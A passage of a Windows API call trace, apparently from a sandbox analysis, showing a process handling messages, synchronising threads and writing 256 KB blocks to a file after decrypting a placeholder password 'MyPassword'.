wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0064.611] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0064.611] GetFocus () returned 0x0 [0064.611] TranslateMessage (lpMsg=0x16d090) returned 0 [0064.611] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0064.611] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.611] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x16d190*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d190*=0) returned 0x48231a [0064.611] SetFilePointer (in: hFile=0x198, lDistanceToMove=101, lpDistanceToMoveHigh=0x16d160*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x16d160*=0) returned 0x48237f [0064.611] CryptUnprotectMemory (in: pDataIn=0x16d010, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16d010) returned 1 [0064.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x16cf90, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0064.611] CryptUnprotectMemory (in: pDataIn=0x16c9f0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16c9f0) returned 1 [0064.611] CryptUnprotectMemory (in: pDataIn=0x16caf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x16caf0) returned 1 [0064.611] CryptUnprotectMemory (in: pDataIn=0x16cc70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x16cc70) returned 1 [0064.611] ResetEvent (hEvent=0x190) returned 1 [0064.611] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.611] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.612] ResetEvent (hEvent=0x190) returned 1 [0064.612] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.612] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.614] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0064.617] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0064.617] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0064.617] GetFocus () returned 0x0 [0064.617] TranslateMessage (lpMsg=0x16d090) returned 0 [0064.617] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0064.617] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.617] ResetEvent (hEvent=0x190) returned 1 [0064.617] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.617] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.618] ResetEvent (hEvent=0x190) returned 1 [0064.618] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.618] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.619] ResetEvent (hEvent=0x1a4) returned 1 [0064.619] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.619] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.637] ResetEvent (hEvent=0x190) returned 1 [0064.637] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.637] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.638] ResetEvent (hEvent=0x190) returned 1 [0064.638] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.638] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.640] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0064.645] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 0 [0064.645] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.645] ResetEvent (hEvent=0x190) returned 1 [0064.645] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.645] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.646] ResetEvent (hEvent=0x190) returned 1 [0064.646] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.646] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.647] ResetEvent (hEvent=0x190) returned 1 [0064.647] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.647] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.648] ResetEvent (hEvent=0x190) returned 1 [0064.648] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.648] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.650] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0064.652] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 0 [0064.652] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.652] ResetEvent (hEvent=0x190) returned 1 [0064.652] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.652] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.653] ResetEvent (hEvent=0x190) returned 1 [0064.653] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.654] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.655] ResetEvent (hEvent=0x1a4) returned 1 [0064.655] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.655] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.678] ResetEvent (hEvent=0x190) returned 1 [0064.678] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.678] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.679] ResetEvent (hEvent=0x190) returned 1 [0064.679] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.679] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.680] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0064.683] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0064.683] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0064.683] GetFocus () returned 0x0 [0064.683] TranslateMessage (lpMsg=0x16d090) returned 0 [0064.683] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0064.683] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.684] ResetEvent (hEvent=0x190) returned 1 [0064.684] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.684] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.684] ResetEvent (hEvent=0x190) returned 1 [0064.684] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.684] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.685] ResetEvent (hEvent=0x190) returned 1 [0064.686] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.686] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.686] ResetEvent (hEvent=0x190) returned 1 [0064.686] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.686] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.688] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0064.691] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 0 [0064.691] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.691] ResetEvent (hEvent=0x190) returned 1 [0064.691] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.691] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.692] ResetEvent (hEvent=0x190) returned 1 [0064.692] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.692] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.693] ResetEvent (hEvent=0x1a4) returned 1 [0064.693] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.693] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.722] ResetEvent (hEvent=0x190) returned 1 [0064.722] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.722] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.723] ResetEvent (hEvent=0x190) returned 1 [0064.723] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.723] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.725] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0064.730] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0064.730] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0064.730] GetFocus () returned 0x0 [0064.730] TranslateMessage (lpMsg=0x16d090) returned 0 [0064.730] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0064.730] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.730] ResetEvent (hEvent=0x190) returned 1 [0064.730] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.730] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.731] ResetEvent (hEvent=0x190) returned 1 [0064.731] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.731] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.732] ResetEvent (hEvent=0x190) returned 1 [0064.732] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.732] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.733] ResetEvent (hEvent=0x190) returned 1 [0064.733] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.733] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.734] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0064.737] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 0 [0064.737] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.738] ResetEvent (hEvent=0x190) returned 1 [0064.738] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.738] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.738] ResetEvent (hEvent=0x190) returned 1 [0064.738] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.738] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.740] ResetEvent (hEvent=0x1a4) returned 1 [0064.740] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.740] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.776] ResetEvent (hEvent=0x190) returned 1 [0064.776] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.776] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.777] ResetEvent (hEvent=0x190) returned 1 [0064.777] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.777] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.779] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0064.782] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0064.782] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0064.782] GetFocus () returned 0x0 [0064.782] TranslateMessage (lpMsg=0x16d090) returned 0 [0064.782] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0064.782] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.782] ResetEvent (hEvent=0x190) returned 1 [0064.782] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.782] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.783] ResetEvent (hEvent=0x190) returned 1 [0064.783] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.783] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.784] ResetEvent (hEvent=0x190) returned 1 [0064.784] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.784] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.785] ResetEvent (hEvent=0x190) returned 1 [0064.785] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.785] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.787] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0064.790] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 0 [0064.790] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.790] ResetEvent (hEvent=0x190) returned 1 [0064.790] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.790] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.791] ResetEvent (hEvent=0x190) returned 1 [0064.791] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.791] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.792] ResetEvent (hEvent=0x1a4) returned 1 [0064.792] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.792] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.835] ResetEvent (hEvent=0x190) returned 1 [0064.835] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.835] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.836] ResetEvent (hEvent=0x190) returned 1 [0064.836] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.836] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.837] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0064.842] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0064.842] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0064.842] GetFocus () returned 0x0 [0064.842] TranslateMessage (lpMsg=0x16d090) returned 0 [0064.842] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0064.842] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.842] ResetEvent (hEvent=0x190) returned 1 [0064.842] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.842] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.843] ResetEvent (hEvent=0x190) returned 1 [0064.843] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.843] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.844] ResetEvent (hEvent=0x190) returned 1 [0064.844] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.844] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.845] ResetEvent (hEvent=0x190) returned 1 [0064.845] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.845] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.846] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0064.849] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0064.849] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0064.849] GetFocus () returned 0x0 [0064.849] TranslateMessage (lpMsg=0x16d090) returned 0 [0064.849] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0064.849] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.850] ResetEvent (hEvent=0x190) returned 1 [0064.850] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.850] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.850] ResetEvent (hEvent=0x190) returned 1 [0064.850] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.850] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.851] ResetEvent (hEvent=0x1a4) returned 1 [0064.851] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.851] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.903] ResetEvent (hEvent=0x190) returned 1 [0064.903] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.903] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.904] ResetEvent (hEvent=0x190) returned 1 [0064.904] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.904] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.905] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0064.908] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 1 [0064.908] GetMessageW (in: lpMsg=0x16d090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x16d090) returned 1 [0064.908] GetFocus () returned 0x0 [0064.908] TranslateMessage (lpMsg=0x16d090) returned 0 [0064.908] DispatchMessageW (lpMsg=0x16d090) returned 0x0 [0064.908] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.909] ResetEvent (hEvent=0x190) returned 1 [0064.909] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.909] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.909] ResetEvent (hEvent=0x190) returned 1 [0064.909] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.909] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.911] ResetEvent (hEvent=0x190) returned 1 [0064.911] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.911] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.912] ResetEvent (hEvent=0x190) returned 1 [0064.912] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.912] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.913] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x16d190, lpOverlapped=0x0 | out: lpBuffer=0x29afde0*, lpNumberOfBytesWritten=0x16d190*=0x40000, lpOverlapped=0x0) returned 1 [0064.916] PeekMessageW (in: lpMsg=0x16d100, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x16d100) returned 0 [0064.916] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.916] ResetEvent (hEvent=0x1a4) returned 1 [0064.916] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.916] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0064.974] ResetEvent (hEvent=0x190) returned 1 [0064.974] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.974] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.975] ResetEvent (hEvent=0x190) returned 1 [0064.975] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.975] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.976] ResetEvent (hEvent=0x190) returned 1 [0064.976] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.977] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.977] ResetEvent (hEvent=0x190) returned 1 [0064.977] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.977] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0064.979] WriteFile (in: hFile=0x198, lpBuffer=0x29afde0*, 